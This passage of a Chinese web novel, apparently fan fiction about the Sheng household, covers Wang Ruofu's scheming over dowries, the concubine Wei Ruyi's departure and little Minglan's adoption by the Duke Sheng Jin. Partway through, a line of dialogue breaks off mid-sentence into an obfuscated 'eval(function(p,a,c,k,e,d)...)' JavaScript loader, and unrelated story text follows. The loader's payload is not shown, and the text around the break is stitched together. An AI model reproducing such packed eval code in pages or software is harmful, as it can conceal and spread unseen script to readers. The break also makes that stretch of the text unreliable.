王若弗并没有将刘妈妈的话听进去多少,她自顾自道:“且不论老太太的嫁妆有多丰厚,那白老爷是扬州城有名的盐商,盛国公也是汴州城出了名的富裕,就连那去世的盛国公夫人也留下了堆山码海的嫁妆,这明丫头可真是掉进福窝里了,她以后的嫁妆估计不会少于当年端淑县主的嫁妆。” 王若弗说的话正巧被进门的盛华兰听了个正着,她眼中闪过一丝无奈,道:“母亲,你这是说的什么话啊!怎么突然说到白老爷和二伯父的身家了,再说了,白老爷的钱是他自己打拼出来的,二伯父的钱是他师傅留下的和自己挣来的,他们想给谁花就给谁花,哪轮得到别人去给他们说嘴呢,更何况明儿再过不久就是他们的女儿孙女了,他们给明儿花多少钱,旁人都是管不了的。” 王若弗看着突然出现的盛华兰,眼中闪过一丝不甘,道:“旁人的我自然是管不了的,但你是老太太膝下长大的,明丫头有的你也的有,她不能因为明丫头成了她的嫡亲孙女而对你有所偏颇。” 盛华兰听着王若弗的话,心里泛起一阵暖意,道:“母亲对女儿的心意,女儿都知道,但自古女子的嫁妆都是属于女子自己的,祖母的嫁妆是她自己的体己,祖母愿意给谁就给谁,哪能为此去和祖母闹呢,母亲莫要再说这种忤逆婆母的话了。” 王若弗也知道盛华兰是为了她好才这么说的,她虽有些不服气,但也没再说出什么让盛华兰担心的话了,只转移话题道:“明丫头胸前那副玉锁可是难得一见的好东西,我瞧着白老爷也打算将明丫头当做自己的亲孙女一般对待了,谁能想到一个庶女能有这般机遇。” 盛华兰听到王若弗说“庶女”二字时,神情变得严肃起来,道:“母亲您莫要再提什么庶女不庶女的,且不论父亲最不喜欢家中提起嫡庶的话语,就冲二伯父、端淑县主、白老爷对明儿的态度,他们可听不了别人如此议论明儿,再者,如儿如今也不小了,您口中的话她也会学去,若是那天如儿口无遮拦的将从您这里学的话说出去让二伯父听到了,那二伯父对您、对我们又会是什么看法呢,母亲,今时不同往日了,我们以后是要和二伯父同住一屋檐下的,不仅是您,还有如儿都要学着收敛一些,尤其是如儿那边,母亲要多加规劝管教,让她不要张口闭口就是庶女,更不要对着明儿发脾气,毕竟明儿以后就是二伯父的女儿,也是丰国公府的嫡长女,只有和明儿好好相处对我们才有好处。” 盛华兰看着因她的话而沉默的王若弗,她也不知道王若弗有没有将她的话听进去,只能在心里安抚自己道:“算了,我日常规劝些,日子久了,母亲自然而然就会听进去些。” 另一边卫如意的院子里,小蝶正带着盼秋和采露清点着堆积在院子中盛瑾和白老爷送给盛明兰的东西,而卫如意抱着盛明兰在屋内,听着盛明兰讲述在白家的事情,当她听到盛瑾抱着盛明兰在院中走来走去,白老爷给盛明兰一副玉锁,盛老太太让人给盛明兰做好吃的,白滢婷在桌前和盛明兰相互投喂,以及盛明兰有时候还会投喂盛老太太等事情后,她先前有些悬着的心彻底安定下来了。 卫如意目光柔和的看着怀中的盛明兰,过了一会儿,她又看向外面还在清点东西的小蝶等人,轻声道:“明儿,小娘听你说的和瞧着外面这些东西,可见盛国公和端淑县主、白老爷、老太太是真的喜欢你的,如今小娘算是彻底放心了。” 盛明兰听着卫如意的话,脑海中浮现出今天她在白家的事情,然后,她又看了外面那些东西,她觉得自己娘亲说的对,他们应该是喜欢她的,至少在孩子的世界里,一个人在不在乎自己主要从他对自己的态度上来看。 盛明兰这般想着,又想起了她与卫如意曾经的生活,想起了小蝶曾说过的钱财伴身,她看了眼屋外那些东西后,将目光转向卫如意,奶声奶气道:“娘你从里面带点走吧,伴身用,在外面需要银子。”这样她也能对卫如意未知的未来少几分担忧。 卫如意闻言,眼眶通红,抱住盛明兰的双手用了点力气,过了一会儿,她才缓缓开口道:“小娘不需要,小娘之前不是说过国公爷和县主给了小娘三千两银票、一间铺子、一百亩水田以及一些首饰布匹,这些东西比官宦人家姑娘的嫁妆还要多得多,足够小娘丰衣足食的过一辈子了,明儿你就放心吧,不过,小娘想让明儿答应我一件事情,那就是以后别再想着小娘了,你要好好孝顺你祖母、国公爷、白老爷、县主,他们都是好人。” 盛明兰沉默了好一会儿,她看着卫如意坚定的眼神,退了一步,道:“我知道了,阿娘,但阿娘我可以有时候想你嘛,毕竟我也没办法控制自己不想你。” 盛明兰目光炯炯的看着卫如意,她期待着卫如意的回答,可是卫如意给她的只有沉默,最终她低下头,哽咽道:“嗯,我听阿娘的话,尽量不想阿娘。” 另一边盛老太太听着房嬷嬷叙述盛家发生的事情,脸上有些黑,道:“她真是越活越回去了,居然连小孩子都嫉妒,我原先就知道她是个蠢得,但没想到她还能更蠢。” 房嬷嬷知道盛老太太因着当年林噙霜那件事情对王若弗这些年的行为是睁一只眼闭一只眼,毕竟盛老太太一直都认为当年是自己识人不清,导致林噙霜爬了盛纮的床,后来林噙霜大了肚子,她为了盛家的声誉又不得不压着王若弗喝了林噙霜的妾侍茶,她这心里对王若弗有着些许愧疚,因此,就算王若弗这些年来对她的恭谨都是敷衍了事,她也从未说过什么。 房嬷嬷看着脸色有些难看的盛老太太安抚道:“老太太,大娘子的心还是好的,等到了汴州城,您再细细管教就行了,再说了,老奴觉得您当初做的没错,盛家是您大半辈子的心血,您也不能看着盛家因为林小娘的事情毁了,更何况老奴觉得当初的错也不在您身上,主君(盛纮)和林小娘有意,您又有什么办法呢。” 盛老太太眼神中闪过一丝无奈,道:“她到底是王家的嫡幼女,当初被我强硬压着咽了这口夹生饭,这些年又被林噙霜压着,我不怪她因林噙霜的事情怨上并疏远了我,罢了,你说的对,等到了汴州城,她在我的眼皮底下看着也不会出什么事情,只是委屈了瑾儿了。” 房嬷嬷眼含笑意,语气中带着一丝调笑,道:“老太太,以我们国公爷的本事,他不去委屈别人就不错了,哪轮得到别人委屈了国公爷呢,不是老奴胡说啊!就是主君(盛纮)给国公爷惹了什么麻烦,国公爷也不会怪老太太的,只不过国公爷怕是会严加管教主君(盛纮),并将主君(盛纮)揍到听话为止。” 盛老太太被房嬷嬷的话逗乐了一下,没有再说什么,她想起了先前给宥阳老家寄去的那封信件不知何时才能到啊!这封信是盛老太太在前不久和盛瑾商量好回宥阳老家的事情后寄出的。 第 41 章 夜晚,卫如意的院中,她瞧着盛明兰有些昏昏欲睡,便知今天盛明兰在白家玩的很累,于是她让丫鬟给盛明兰打水洗漱后,便将盛明兰抱到了床上,结果盛明兰一沾到枕头就直接入睡了。 卫如意看着盛明兰的睡颜,不禁莞尔一笑,没一会儿,她听到盛明兰在睡梦中喃喃自语,一时兴起便凑近倾听,只听到盛明兰奶声奶气道:“爹爹。” 卫如意不禁一愣,过了一会儿,她脸上浮现出一抹淡淡的微笑,用手抚摸着盛明兰的小脸蛋,轻声道:“明儿,看来你很喜欢国公爷这个爹爹啊!这样也好,我也能安心了。” 正当卫如意看着盛明兰出神时,小蝶的声音将卫如意拉了回来,只见小蝶轻声道:“姑娘居然这么快就入睡了。” 卫如意看着有些惊讶的小蝶,语气柔和,道:“是啊!明儿今天被盛国公抱着在老太太院中走了一圈,又陪着老太太和县主聊了许久,可不累得一沾枕头就睡嘛。” 小蝶对于卫如意口中盛瑾抱着盛明兰走一圈的事情很是惊讶,她不由自主道:“什么,国公爷居然这么喜欢我们姑娘,还抱着姑娘走了一圈。” 卫如意看着小蝶惊讶的样子,又转头看向梳妆台上的那副玉锁,她脸上浮现出一抹笑容,语气淡然,道:“这件事情让我也很惊讶啊!我也没想到国公爷身边的人会这么快接受明儿,还和明儿相处的很好。” 小蝶不由自主的顺着卫如意的话,道:“我就说小娘先前多心了,我们姑娘性子极好,自然能与别人相处融洽的。” 卫如意对小蝶的话没有多说什么,她抬头看了看窗外的明月,沉默了一会儿,轻声道:“今天听到明儿在那边过的很开心,我这心里便安稳许多,这样我也能放心离开盛家了。” 小蝶看了看神情淡漠的卫如意,她实在看不出卫如意心中的想法,于是她将目光转向床上睡得香甜的盛明兰身上,语气中带着一丝不舍,道:“小娘真的舍得离开姑娘和哥儿嘛,她们还那么小,哪能离得开小娘啊!” 卫如意听着小蝶的话,眼中闪过一丝不舍,道:“我舍不得又能怎么样,盛家是不可能让我带走这两个孩子的,更何况这两个孩子跟着我不如跟着盛家更有前程。” 卫如意说到这里,语气中充满了坚定,道:“小蝶,我不是圣人,我从小读书习字学的道理,让我无法去搔首弄姿的讨好主君,更何况我这些年对主君没有丝毫的情义,说实在的,若不是当初毫无选择,我是决计不可能给人当妾侍的,如今能得一封放妾书离开盛家已是我做梦都不敢想的美事了,至于明儿姐弟,我相信在国公爷和老太太的庇护下,他们会过得很好的。” 小蝶因着卫如意的话,心里泛起了一阵酸涩,她知道卫如意说的都是她真实的想法,她静静的看着卫如意,心里不由自主的想道:“也许正如小娘所说,这样是最好的结果了。” 卫如意看着盛明兰的睡颜,抬手捋了捋盛明兰额头的秀发后,她再次看向小蝶,轻声道:“小蝶,如今大家都能如愿以偿,这已是极好的了,小蝶,等我离开盛家后,明儿姐弟就交给你了,你可以帮我照顾好她们嘛。” 小蝶闻言,脸上的表情变得严肃起来,郑重其事道:“小娘你放心,只要我还在姑娘身边一日,我定会竭尽全力照顾好哥儿姑娘的。” 卫如意听完小蝶的话,眼中闪过一丝感激,轻声道:“谢谢你小蝶。”随即屋内恢复了平静,好似她们从未对话过一般,在接下来的日子中,盛瑾时常会派人将盛明兰接到白家玩耍,盛明兰也在这段时间内与盛瑾他们越来越亲近,他们之间的感情也随着时间而突飞猛进,如今的盛明兰已然从一个喊爹爹就会害羞的小姑娘变成了会大胆与盛瑾他们撒娇卖萌的小娃娃,这让盛瑾他们很是开心。 这天盛明兰本来要如同往常一般带着小蝶或是采露盼秋去白家的,可她刚要出门就看到刘妈妈带了个丫鬟过来说是陪她一起去白家,虽然卫如意不知道王若弗为什么要派一个丫鬟陪着盛明兰一起去白家,但她还是让盛明兰带上了这个丫鬟,毕竟她如今还是盛家的妾侍,哪能反抗盛家的当家大娘子王若弗的决定呢,于是那个丫鬟便跟着盛明兰一同去了白家。 等盛明兰回到盛家后,那个丫鬟便来到王若弗面前,将今天在白家的所见所闻一五一十的告知了王若弗。 王若弗满脸惊讶的看着那个丫鬟,用满是不可置信的语气,道:“你说国公爷抱着明丫头走来走去的,白老爷也对明丫头十分亲近。” 那个丫鬟看着王若弗,语气十分肯定道:“大娘子,我看得真真的,瞧盛国公和白老爷对六姑娘的态度,不知道的还以为他们是六姑娘的亲生父亲和祖父呢。” 王若弗沉默片刻后,看了一眼那个丫鬟,语气冷淡,道:“你出去吧,记住今日之事莫要和旁人提起。” 那个丫鬟闻言,点了点头,道:“大娘子放心,我一定不会告诉旁人的。”随即便低着头退出了房间,独留王若弗在此沉思。 刘妈妈看着沉默的王若弗,她知道当初盛华兰的话,王若弗还是听进去一些,要不然也不会因着盛瑾时常派人来接盛明兰去白家,而产生让人跟着盛明兰去白家探查情况的想法,只是她和王若弗谁都没有想到盛明兰与盛瑾白老爷居然能在短时间内变得如此亲近。 王若弗看向刘妈妈,语气中充满了疑惑,道:“你说这明丫头是有什么魔力嘛,居然能让国公爷和白家人都这么喜欢她。” 刘妈妈有些迟疑道:“或许是因为六姑娘那张酷似盛国公嫡长子的脸吧,端淑县主不是说过六姑娘有些神似已逝的盛国公夫人嘛,奴婢记得汴州城曾流传过盛国公夫妇将端淑县主当成自己的掌上明珠一般宠爱,想来盛国公夫人与白老爷端淑县主的感情很深厚,以至于白老爷和端淑县主爱屋及乌的对六姑娘亲近。”除此之外她实在想不出白老爷和白滢婷为什么这么亲近盛明兰。 王若弗闻言沉默了,若不是她派去的丫鬟亲口所说,她还以为房嬷嬷那天称呼盛明兰为大姑娘是在给盛明兰装样子呢,看来她的改变一下对盛明兰姐弟的策略了。 王若弗对着刘妈妈长出一口气,道:“罢了,谁让人家明丫头会长呢,长到了国公爷和白家人心里去了也是她的本事,你先去库房找几匹好布料,再去我的私库中找几件精致的首饰一同送去卫小娘的院子,另外再叮嘱家中的女使小厮务必要照顾好卫小娘那边,毕竟再过不久明丫头就被国公爷接去了,我可不想在国公爷那里留下个亏待庶女的形象,再说了,明丫头都要成国公爷的女儿了,我这个当婶婶的也该好生招待好侄女。” 刘妈妈脸上挂满笑容,道:“大娘子这么想就对了,既然盛国公和白家人都对六姑娘如此亲近,可见他们是真喜欢姑娘的,我们与六姑娘交好绝对没有坏处。” 王若弗虽然面色淡然,但是心里面肯定了刘妈妈和盛华兰的想法,她如今转念一想:“虽然我对明丫头姐弟没什么感觉,但他们过继出去后,盛家就少了一个人与柏哥儿分家产,也能少出一分嫁妆,这也是不错的。” 王若弗想到这里,心里便开始期待起卫如意早点离开盛家了,毕竟只要卫如意离开盛家,那盛明兰姐弟便也会被盛瑾接走,盛瑾早点接走盛明兰姐弟,那过继之事便会早点结束,她看了一眼刘妈妈道:“这卫小娘的亲人也快来了吧。” 刘妈妈自然是了解王若弗的想法的,嘴角微微弯起,轻声道:“卫小娘的亲人应该不出几天便会到达扬州城了。” 王若弗得到了自己想要的答案,语气中带着一丝愉悦,道:“等卫小娘的亲人来了,让人好好招待着,毕竟卫小娘是明丫头姐弟的生母,对了,既然白家和老太太那边都改口称呼明丫头为大姑娘了,那等明丫头姐弟被接走后,我们这边也改口吧。”她觉得等盛瑾接走盛明兰姐弟后,盛家这边也没必要再瞒着盛瑾和他们的关系了,只是盛瑾没有正式上门前,盛家的人还不能往外传。 王若弗没等刘妈妈回答,好似又想起了什么,脸上有些微沉的继续道:“华儿说得对,如儿那边你看着点,别让她和明丫头发生冲突,另外也别让她和那墨兰发生矛盾,虽说林噙霜那贱人被送走了,可官人还是宠着墨兰那丫头的,尤其是他将那贱人送走后,更见不得墨兰那丫头受委屈了,若是如儿在这时与墨兰发生矛盾,如儿绝对讨不到好吃。” 刘妈妈听到王若弗这么说,语气中带着一丝恭维的提醒道:“大娘子真是英明神武啊!不过,大娘子,四姑娘那边要不要派人照看一下,毕竟主君正是心疼四姑娘年幼离开生母之时,若是四姑娘那里出现不妥之处,难保主君不会迁怒大娘子,这可影响大娘子在主君心目中的美好形象啊!” 王若弗眼中闪过一丝不屑,道:“我才不做那等刻薄庶女的不要脸事情呢,不过你说得也对,那就敲打一下墨兰那丫头身边的女使,让她们好生照看着墨兰那丫头,你去办这些事情吧。” 刘妈妈得到她想要的结果后,脸上浮现出一抹微笑,道:“大娘子说的是,奴婢这就去给您将事情办妥贴了。”说着便退出了屋子,没过多久,卫如意的院子中又多出了一些东西,而在接下来的日子中,盛家的丫鬟小厮对卫如意院中的人更是有求必应,本来之前她们就因着卫如意的院子时常收到东西,而十分有眼色的改变了先前对卫如意她们的态度,现下又有了王若弗的再次敲打,让她们知道卫如意现在是不能惹的人了,于是便出现了这样的场景,只要是卫如意院里吩咐,丫鬟小厮立马给办妥,那效率堪比火车速度,让小蝶再次大跌眼镜。 小蝶本来以为盛家的丫鬟小厮对她们的态度,跟之前的态度比起来已经算是一百八十度的大转变,没想到这世界上没有最好只有更好,她瞧了瞧满屋的东西,心里不由自主的感叹道:“原来这就是一人得道鸡犬升天的样子啊!” 日子过得很快,转眼间卫如意的妹妹卫如玉就来到了盛家,她一到盛家就受到了热烈的招待,这让她十分疑惑,可她的疑惑在见到卫如意后没多久就解开了。 卫如玉听完卫如意的叙述后,看了一眼黏在卫如意身边的盛明兰,道:“姐姐做的对,这样的结果对所有人都好。” 卫如玉在大户人家中当过一段时间的丫鬟,对这种大户人家的后宅那些个腌臜事情可以说是略知一二,她知道卫如意的性子是真不适合做妾,更何况是给大户人家做妾,因此,这些年卫如意在盛家做妾的日子不好过,而她在外面为卫如意担惊受怕的又何尝过的好呢,如今这样对谁都好。 卫如玉目光坚定的说出了让盛明兰伤心的话,道:“既然姐姐已经做出了决定,那么我们也快刀斩乱麻,明天就离开盛家吧。” 卫如意感受到盛明兰抓着自己裙摆的手又紧了紧,但她没有犹豫,道:“那我今天就让人去和大娘子说一声,也好让国公爷安排人明日来带走明儿姐弟。” 盛明兰听到卫如意的话,豆大的眼泪一下子从眼眶中掉落,她想要开口让卫如意留下,但她想到这些日子卫如意与她说的,便只能死死咬住下唇。 卫如意和卫如玉看到盛明兰这样,心里都泛起了一阵心疼,但她们都知道盛明兰阻止不了卫如意离开盛家的决心,与其给盛明兰这虚无缥缈的希望,还不如直接让盛明兰认清事实,于是卫如意在盛明兰面前吩咐小蝶去告知大娘子她们明天要离开盛家的事情。 这天晚上盛明兰死死的抱着卫如意不肯撒手,卫如意在心里叹了口气,语气中带着决绝,道:“明儿,你要记得小娘的话,从今往后你是盛国公夫人的女儿,我与你再无关系。” 卫如意心里很清楚,只有这样盛明兰才能真正的成为丰国公府嫡长女,她从一开始就知道这尊贵的身份后面必要割舍一些东西,她不后悔替盛明兰姐弟做下这样的决定。 盛明兰闻言沉默不语,直到半夜实在抗不过去,抱着卫如意的手臂入睡,而卫如意则是看了盛明兰和摇篮中的婴儿一夜。 第二天一早,白滢婷和三辆马车已经在盛家后门等着卫如意姐妹二人了,当卫如意抱着不撒手的盛明兰走到门口时便看到白滢婷,她对于白滢婷的出现有些惊讶,道:“我没想到县主会特意来接明儿姐弟。” 白滢婷脸上浮现出一抹笑容,语气柔和,道:“卫小娘,我并不是单单是来接明儿姐弟的,我还是来送你离开的。” 卫如意闻言有些呆愣在原地,但没一会儿她反应过来,脸上挂着得体的笑容,道:“让县主费心了。” 白滢婷没有多说什么废话,她指了指自己身旁的一辆马车,道:“这辆马车和里面的东西是父亲和老太太的一点心意,你把明儿教的很好,另外,哥哥说若是你遇到什么大麻烦,可以让人上汴州城找丰国公府帮忙,或是找你老家的县令帮忙,哥哥会打好招呼的。” 卫如意和卫如玉都知道这是盛瑾他们的好意,毕竟卫如意长的这般美貌,谁知道回去后会不会再被一些纨绔子弟恶霸盯上,如今有盛瑾的保证,对于卫如意而言也有了一层保障,于是她们一起服了服身道谢后,卫如意将盛明兰塞到了白滢婷怀中,便径直上了马车。 等卫如意她们的马车开始行驶时,从早上开始表现乖乖的盛明兰突然号啕大哭起来,一边哭一边喊着:“娘亲,娘亲,呜呜。” 盛明兰一开始就知道卫如玉的到来意味着卫如意要离开盛家了,只是她没想到卫如意她们会在第二天就离开盛家,而她一直忍到了现在卫如意她们离开时才崩溃大哭。 白滢婷看着盛明兰泪流满面的样子十分心疼,她赶忙抱着盛明兰哄道:“明儿,不哭,白姑姑在这儿,等明儿长大后,白姑姑再让你爹爹带你去看你娘亲哦,明儿不哭,不哭。” 马车上的卫如意听到盛明兰的哭声,眼眶瞬间通红了,可她还是狠了狠心,不让自己掀开帘子去看盛明兰,她不能让盛明兰看到自己心软的一面,一个国公之女,一个小官家不得宠的庶女,她为自己的女儿做出了她认为的最好选择。 卫如意忍着心痛在心里暗暗想道:“明儿,娘亲与你一宽两别,从此之后,忘了我这个娘亲吧,我们若是有缘还会再见的。” 卫如玉看着自己姐姐这般难受,耳边回荡着盛明兰撕心裂肺的哭声,她的心里也不好受,可这是最好的结果了,自己的姐姐可以离开盛家这个是非之地,自己的外甥外甥女可以得到更好的身份和照顾。 卫如玉昨天从小蝶和卫如意那里了解了盛瑾他们的事情,并从中大概猜出了盛瑾和盛老太太的为人,说真的,她打心里觉得自己姐姐的两个孩子跟在盛瑾和盛老太太身边,绝对比跟在盛纮身边好,至少在家产和读书资源方面,盛纮能给盛明兰姐弟二人的绝对不会比盛瑾和盛老太太给的多,所以她对于自己姐姐的决定是支持的,此时,她只能让马夫快点驾车启程离开这个伤心地。 盛明兰看着并未因为她哭声而停止的马车渐行渐远直至消失后,她心里的悲伤越演越烈直到哭累了才慢慢停止下来,而白滢婷在盛明兰停止哭泣后,派人将盛明兰的弟弟抱到了马车上一同回了白家。 白滢婷将另一辆马车留下来给小蝶装东西,毕竟盛明兰姐弟还有些东西在盛家需要一并带走,除此之外,小蝶还需要替盛明兰姐弟向王若弗告辞,于是王若弗不出意外的在白滢婷离开后见到了小蝶,她听完小蝶的话眼中闪过一丝惊讶,随即一脸淡然道:“既然县主让你留下收拾东西,那我也不好耽搁你太久,你去忙吧,我再派几个女使小厮去帮你,若是还有什么需要,你可以直接让院里的女使来找刘妈妈,她会帮你解决的。” 小蝶闻言,低着头给王若弗行了一礼,语气恭谨,道:“是,奴婢知道了,多谢大娘子。”随即退出屋内,她没有拒绝王若弗的好意,毕竟卫如意院中的东西实在是太多了,光靠她和采露盼秋三人恐怕要忙到黄昏去。 王若弗等小蝶离开后,对着刘妈妈惊讶道:“没想到啊!卫小娘尽然这么快就离开盛家了,你说她怎么忍心抛下哭的撕心裂肺的明丫头呢?”也不怪她知道盛明兰和卫如意离别的场景,毕竟盛明兰在后门哭的惊天动地,盛家有不少丫鬟小厮都看到了,她就是不想知道都难啊!不过说真的,盛家那些个丫鬟小厮要不是知道今天是卫如意离开的日子,还以为盛明兰怎么了呢。 刘妈妈没有正面回答王若弗的问题,只是微微弯起嘴角,道:“大娘子,卫小娘她人都离开盛家了,您管她在想什么呢,现下您最重要的是将六姑娘和七哥儿的事情安排好。” 王若弗看着刘妈妈,眼神中略带些许疑惑,道:“明丫头姐弟都被接到白家去了,小蝶那边我也让女使小厮去帮忙了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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王若弗本来以为盛老太太有了亲生儿子后就不会与他们住在一起了,毕竟盛瑾在汴州城有府邸,又是一位国公爷,那能干出让自己亲生母亲随庶弟生活的事情啊!可她万万没想到,自己未来执掌全家的美好景象还未幻想,便被盛纮的一句合府居住给打破了,这让她心里十分膈应,好在如今还在扬州城,盛老太太住到白家去了,她这美梦也能在扬州城里实现一段时间,等盛纮调回汴州城就破灭了,因此她格外珍惜这段在盛纮后宅只手遮天的时光。 王若弗想到这里,不由自主的嘟囔道:“你说国公爷是怎么想的,居然同意让官人合府居住,难道他不觉得这样不自在嘛。” 刘妈妈听着王若弗这般不着调的话,心里暗暗一紧,面上不显的安抚道:“国公爷估计是念着老太太,毕竟老太太跟着主君生活了许久,又对我们家哥儿姑娘有感情,自然是舍不得我们家哥儿姑娘的,再说了,国公爷是个有能耐的,我们两家住在一起,以后哥儿姑娘若是有什么事情,国公爷念着看他们长大的情谊也会帮衬些,更何况大娘子你住到丰国公府里面,外人定会将你当成国公府的大娘子一般对待的。” 王若弗知道刘妈妈说的在理,她也知道自己只是单纯的有些不自在罢了,过了一会儿,她叹了口气道:“说实在的,老太太除了林噙霜那件事情外也没什么让我讨厌的地方,而且这段时间她不在家,我还有些不习惯呢。” 刘妈妈知道自家大娘子没有什么坏心眼,除了性子直些,有时候还会钻牛角尖外没什么的大问题,她笑吟吟的戳穿王若弗,道:“大娘子哪是不知在啊!这分明是想老太太了,要不我现在给大娘子备马车去白家见见老太太,以解思念之情。” 王若弗白了刘妈妈一眼,语气上扬,道:“见什么见啊!这国公爷都没上门,我才不要热脸去贴人家的冷屁股呢,再说了,等到了汴州城同住一个屋檐下,能见到我烦呢。” 刘妈妈好不容易才让王若弗不钻牛角尖,哪能让她继续说盛瑾和盛老太太,万一她又钻牛角尖了呢,于是她转移话题,道:“是是是,大娘子说的是,不过,大娘子,我们要不要再给六姑娘七哥儿准备些礼物呢,毕竟先前六姑娘去白家时,国公爷和白老爷都给我们家哥儿姑娘准备了不少东西呢,这不会回礼可不好看啊!” 刘妈妈的话成功的转移了王若弗的注意力,她想了想,道:“是得好好回礼,不能让国公爷觉得我们不知礼数,唉,只可惜啊!国公爷没见过华儿和如儿,这混个脸熟也好啊!都怪林噙霜那贱人。” 刘妈妈看着王若弗思维如此跳跃也不好说什么,只能在心里暗暗道:“也是可惜啊!大姑娘就算了,五姑娘到可以借着和六姑娘玩得理由,让六姑娘提出带他去白家,也好在国公爷面前混个脸熟,可惜五姑娘心气高,不肯,白白浪费机会,唉!” 刘妈妈自然不能和王若弗这样说的,她等王若弗情绪稳定些后,轻声道:“大娘子,国公爷和主君自有定夺,再说,老太太和国公爷决定将正式上门的日子放在从宥阳老家回来后也是有道理的,毕竟现在国公爷正式上门对六姑娘和七哥儿而言有些尴尬,反正认亲之事已经定下了,谁也改不了,等我们去汴州城后,姑娘哥儿何愁见不到国公爷呢。” 王若弗听着刘妈妈的话,智商上线道:“我看国公爷和老太太之所以推迟正式上门的时间是因为官人对林噙霜的惩罚不够重,谁家小妾犯了错发配到这么近的庄子上啊!说到底还是那贱人古惑了官人,我瞧着那贱人的女儿如今也学了她几分本事,前些日子居然和官人说我刻薄她,谁不知道如儿那匹锦缎是我先前回娘家时,母亲送给如儿的,我是放到现在才拿出来给如儿做衣裳的。”不得不说王若弗歪打正着的猜出了原因,而盛纮当初接到盛瑾信件时也猜出了盛老太太和盛瑾的意思,因此,他的底气十分不足,自然而然也没有反对盛老太太和盛瑾的决定。 刘妈妈也知道这件事情,说到底是盛如兰看不惯近日来盛纮颇为宠爱盛墨兰,而专门找出来做衣裳气盛墨兰的,结果让盛墨兰找到盛纮告状,导致王若弗被盛纮说了一顿,她看着有些气愤的王若弗,语气轻柔的安抚道:“大娘子你又被气得说胡话了,四姑娘还是个孩子,您一个当家大娘子怎么能和孩子置气呢,这要是被主君听到了又要生气了,主君现在正心疼四姑娘和三哥儿之时,大娘子可不能在这时候触主君霉头啊!” 王若弗刚想反驳刘妈妈,转念一想,盛纮虽然将林噙霜送走了,但是这些年的情义也不是假的,难保后面不会思念林噙霜,并将感情转到两个孩子身上,好在只要盛瑾还在一日,盛纮就不敢将林噙霜接到自己身边生活,这么想着她对盛老太太和盛瑾的感官好了一点,接着刘妈妈再此提出了给盛明兰姐弟准备东西的事情,这让王若弗暂时将其他事情抛在脑后,专心思考起给盛明兰姐弟准备的东西了。 等盛纮回来得知盛明兰姐弟和卫如意已经离开时,他也没有多说什么,只是吩咐王若弗给盛明兰姐弟准备的东西再厚上几层,于是小蝶来到白家时带了三车的东西,当然其中两辆马车是王若弗借给小蝶装东西的,而小蝶也将她与采露盼秋的卖身契交给了盛老太太,这也是后话了,此时的白家,白滢婷已经将盛明兰交给了盛瑾,而那襁褓中的娃娃也被她交给了盛老太太。 盛瑾心疼的看着哭肿双眼的盛明兰,他从盛明兰惨兮兮的模样中不难看出盛明兰对于卫如意的离开很是悲伤,于是他就这样抱了盛明兰一整天,直到夜晚盛明兰的情绪才渐渐平静下来,由此可见盛瑾的安抚对于盛明兰而言还是有些用的,不过盛瑾因着对盛明兰的担忧,而选择与盛明兰同床而卧。 夜晚的院子很是安静,盛明兰和盛瑾就这么躺在床上,突然,盛明兰出声道:“爹爹,你会不会有一天也要离开明儿。” 盛瑾看着盛明兰不安的表情,心里一阵心疼,轻声说道:“爹爹永远也不会离开明儿的,爹爹要看着明儿长大成人,爹爹向明儿保证。”说完,他蹭了蹭盛明兰的小脸蛋,不知是不是他的保证起了作用,盛明兰很快的睡着了,而他则是在一边躺着面带微笑的给盛明兰扇风。 房外的小蝶轻轻推开房门进入房间,就看到盛瑾一只手将盛明兰搂入怀里,另一只手拿着扇子给盛明兰扇风,小蝶被这一场景惊到了,很多年后,小蝶仍然对当时的场景记忆犹新。 盛瑾听到动静,抬头看到小蝶,于是用扇子示意她熄灯出去,小蝶看懂了盛瑾的意思,悄悄的熄灯出去了,轻轻的将房门关上,她抬头看着月亮,脸上带着微笑,心里不由自主的想道:“小娘,也许你是对的吧,我们姑娘跟着国公爷也许会过的更快乐。” 小蝶这般想着,她看了一眼走过来的采露和盼秋,上前去轻声告知她们回去休息,然后,她又在屋外停留了好一会儿才离去。 第 42 章 清晨,白家盛明兰的院子中,盛明兰在床上睁开眼便发现自己枕着盛瑾的一只手,而盛瑾的另一只手则是抓着扇子搂着她,她见此情景,小脸蛋一下通红起来,过了一会儿,她悄悄的挪动着,试图在不惊醒盛瑾的情况下,从盛瑾的怀中出来,可惜的是尽管她的动作很轻,但仍将盛瑾给惊醒过来了,而盛明兰还在小心翼翼的把自己的手抬起来,显然还没发现盛瑾已经被她惊醒了。 盛瑾从盛明兰的行为上不难看出她不想惊醒他,他看着盛明兰通红的小脸蛋再加上小心翼翼的动作,给人一种十分可爱又滑稽的感觉,一时忍不住竟笑出了声来。 盛明兰突然听见一个笑声,抬头望去,映入眼帘的便是面带微笑的盛瑾,她瞪大双眼,随即反应过来是盛瑾在笑她,因此,她的小脸蛋更羞红了,一时不知怎么办的她一下钻进了被子里。 盛瑾看着盛明兰这样,也不好再笑话她,毕竟盛明兰若是藏在被子里太久会呼吸不畅的,于是他便洋装自己手臂被盛明兰枕麻了的样子,对盛明兰轻声道:“明儿,爹爹的手好麻啊!你能不能帮爹爹揉揉。” 果然,盛明兰一听盛瑾手麻,以为是自己的原因,急忙从被子里出来帮盛瑾揉手,一边揉一边轻声问道:“爹爹你还有哪里麻,明儿帮你一块揉了。” 盛瑾看着盛明兰关心着自己的样子,一把将盛明兰捞到自己怀里,语气中带着一丝笑意,道:“明儿真能干,爹爹好多了,谢谢明儿,我们现在准备洗漱去吃早膳吧。” 盛瑾说完便招呼小蝶进来,让她去给他们打水洗漱和传话准备早膳,她出去没一会儿就带着采露和盼秋拿着洗漱用品进来了。 盛瑾起身将盛明兰抱起,走到小蝶她们面前,他带着盛明兰一同洗漱好后,便独自坐在一旁看着小蝶她们给盛明兰梳妆打扮。 等盛明兰梳妆打扮好,白家的丫鬟小厮已经将早膳端上来了,盛瑾便招呼着盛明兰一同用完早膳,然后,他又将盛明兰抱了起来向外走去,他要带着盛明兰一起去盛老太太的院里给盛老太太请安,他们一进院子就看到盛老太太拿着拨浪鼓逗着卫如意的儿子。 盛老太太看到盛瑾抱着盛明兰进来,放下手中的拨浪鼓,脸上带着笑意,语气柔和,道:“瑾儿,明姐儿,你们起来了,过来看看这孩子吧。” 